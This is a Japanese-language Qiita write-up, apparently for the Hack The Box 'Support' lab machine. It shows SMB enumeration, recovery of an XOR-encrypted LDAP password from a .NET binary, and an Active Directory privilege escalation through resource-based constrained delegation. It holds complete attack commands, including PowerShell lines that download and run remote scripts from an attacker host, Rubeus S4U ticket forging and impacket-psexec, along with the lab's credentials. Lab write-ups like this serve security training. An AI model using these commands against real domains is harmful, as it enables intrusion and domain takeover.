1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Support

1
Posted at

image.png

本記事では、Hack The Box の Support を攻略した手順を解説します。


1. ポートスキャン

まずはnmapでターゲットのポートを調査します。

$ nmap --privileged -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49678,49690,49707 \
  -sV -sC -oN phase2_detail.txt support.htb

Nmap scan report for Support.htb (10.129.230.181)
Host is up (0.67s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-04 08:52:05Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  adws?
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

主な開放ポート:

ポート サービス 備考
53/tcp DNS
88/tcp Kerberos AD環境の証拠
389/tcp, 3268/tcp LDAP Active Directory
445/tcp SMB ファイル共有
5985/tcp WinRM リモート管理

ポートの構成から、このマシンが Windows Active Directory ドメインコントローラー(DC) であることが分かります。


2. SMB列挙

匿名(パスワードなし)でSMB共有を列挙します。

$ smbclient -L //support.htb/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share

ADMIN$C$ などのデフォルト共有に加え、カスタム共有 support-tools が存在します。中身を確認します。

$ smbclient //support.htb/support-tools
Password for [WORKGROUP\utah]:
smb: \> dir
  .                                   D        0  Thu Jul 21 02:01:06 2022
  ..                                  D        0  Sat May 28 20:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 20:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 20:19:55 2022
  putty.exe                           A  1273576  Sat May 28 20:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 20:19:31 2022
  UserInfo.exe.zip                    A   277499  Thu Jul 21 02:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 20:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe   A 44398000  Sat May 28 20:19:43 2022

7-ZipやPuTTYなどの一般ツールの中に UserInfo.exe.zip というカスタムツールを発見しました。ダウンロードして解析します。


3. UserInfo.exe の解析(.NETリバースエンジニアリング)

UserInfo.exe は C# (.NET Framework) 製のバイナリです。.NETバイナリの特徴として、コンパイル後も中間言語(IL)の形式で保存されるため、dnSpyilSpy などのデコンパイラでソースコードに近い形で復元できます。

解析すると Protected クラスの中に XOR 暗号化されたパスワードが埋め込まれていることが分かりました。

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

public static string getPassword() {
    byte[] array = Convert.FromBase64String(enc_password);
    for (int i = 0; i < array.Length; i++) {
        array[i] = (byte)(array[i] ^ key[i % key.Length] ^ 223);
    }
    return Encoding.Default.GetString(array);
}

XOR は同じ演算で暗号化・復号の両方ができます。Python で復号します。

import base64
from itertools import cycle

enc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
result = bytearray([e ^ k ^ 223 for e, k in zip(enc, cycle(key))])
print(result.decode())
# 出力: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

コードをさらに読み進めると、このパスワードは LDAP サーバーへの接続認証に使われていることが分かります。

  • ユーザー名: ldap@support.htb
  • パスワード: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
  • 接続先: LDAP://support.htb

4. LDAP列挙

取得した認証情報で LDAP を列挙します。

$ ldapsearch -x -H ldap://support.htb \
  -D 'ldap@support.htb' \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" "*" | less

結果ファイルを精査すると、support ユーザーオブジェクトの info 属性(通常は空欄のフィールド)に平文パスワードが記載されていることを発見しました。

info: Ironside47pleasure40Watchful

また、support ユーザーは Remote Management Users グループのメンバーであることも判明しました。このグループに所属していると WinRM(リモート管理)でログインできます。


5. Evil-WinRM で初期シェル取得(user.txt)

取得したパスワードで Evil-WinRM を使ってログインします。

$ evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'

ログインに成功しました。user.txt を取得できます。

グループを確認すると Shared Support Accounts グループに所属していることが分かります。

*Evil-WinRM* PS C:\Users\support\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ====================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, ...
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, ...
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, ...
SUPPORT\Shared Support Accounts            Group            S-1-5-21-1677581083-3380853377-188903654-1103 Mandatory group, ...
...

6. BloodHound による AD権限分析

権限昇格の経路を BloodHound で調査します。

データ収集

$ bloodhound-python -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -d support.htb -ns 10.129.230.181 --zip -c all

neo4j 起動・BloodHound 起動

$ sudo neo4j start
# ブラウザで http://localhost:7474 にアクセス → 初回パスワード変更

収集した ZIP ファイルを BloodHound にインポートして分析すると、以下の権限関係を発見しました。

support ユーザー
  └─ 所属: Shared Support Accounts グループ
              └─ DC(ドメインコントローラー)マシンに対して GenericAll 権限を持つ

GenericAll はオブジェクトへの 完全な制御権限 です。DCマシンオブジェクトに GenericAll があれば RBCD攻撃 が可能です。


7. RBCD攻撃で Domain Admin 昇格(root.txt)

RBCD(Resource-Based Constrained Delegation)攻撃とは

DCの msDS-AllowedToActOnBehalfOfOtherIdentity 属性に偽のコンピューターアカウントを登録することで、そのコンピューターが DC 上の任意ユーザーになりすましてサービスにアクセスできるようにする攻撃です。DCオブジェクトへの GenericAll 権限があればこの属性を書き換えられます。

Step 1: 偽のコンピューターアカウントを作成

Evil-WinRM セッション内で PowerMad.ps1 を使って偽のコンピューターアカウントを作成します。コンピューターアカウントが必要な理由は、後続の S4U2Self プロトコルがコンピューターアカウントでなければ使えないためです。

# PowerMad.ps1 をロード
iex(new-object net.webclient).downloadstring('http://10.10.14.X:8080/Powermad.ps1')

# コンピューターアカウントを追加(通常ユーザーはデフォルトで最大10個作成可能)
New-MachineAccount -MachineAccount FAKECOMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

Step 2: DCのRBCD属性を書き換える

PowerView.ps1 を使って DC の msDS-AllowedToActOnBehalfOfOtherIdentity 属性に FAKECOMP01 を登録します。

# PowerView.ps1 をロード
iex(new-object net.webclient).downloadstring('http://10.10.14.X:8080/PowerView.ps1')

$fakesid = Get-DomainComputer FAKECOMP01 | select -expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
  -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# DCのmsDS-AllowedToActOnBehalfOfOtherIdentityにFAKECOMP01を登録
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Step 3: Rubeusでハッシュ計算

Rubeus で FAKECOMP01 のパスワードから rc4_hmac ハッシュを算出します。

.\Rubeus.exe hash /password:Password123 /user:FAKECOMP01$ /domain:support.htb
# → rc4_hmac ハッシュが得られる

Step 4: S4U攻撃でAdministratorのチケットを取得

S4U2Self + S4U2Proxy を使って Administrator になりすましたKerberosチケットを取得し、メモリに注入します。

.\Rubeus.exe s4u /user:FAKECOMP01$ /rc4:[ハッシュ] /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

Step 5: impacket-psexec でシェル取得

チケットを Linux 形式に変換し、psexec でシェルを取得します。

# チケットをLinux形式に変換
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

# チケットを使ってpsexecでシェル取得
impacket-psexec -k -no-pass administrator@dc.support.htb

これで Domain Admin(Administrator)として DC にアクセスでき、root.txt を取得できました。


まとめ(攻略チェーン)

ステップ 内容 使用ツール・手法
初期偵察 ポート・サービスの把握 nmap
SMB列挙 support-tools共有でUserInfo.exeを発見 smbclient(匿名アクセス)
バイナリ解析 LDAPバインド用認証情報を復元 dnSpy / ilSpy + XOR復号(Python)
LDAP列挙 supportユーザーのinfo属性にパスワードを発見 ldapsearch
初期侵入 supportユーザーでシェル取得(user.txt) Evil-WinRM
権限分析 Shared Support Accounts → GenericAll → DCを特定 BloodHound
権限昇格 DCへのRBCD攻撃でDomain Admin取得(root.txt) PowerMad + PowerView + Rubeus + impacket

参考

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?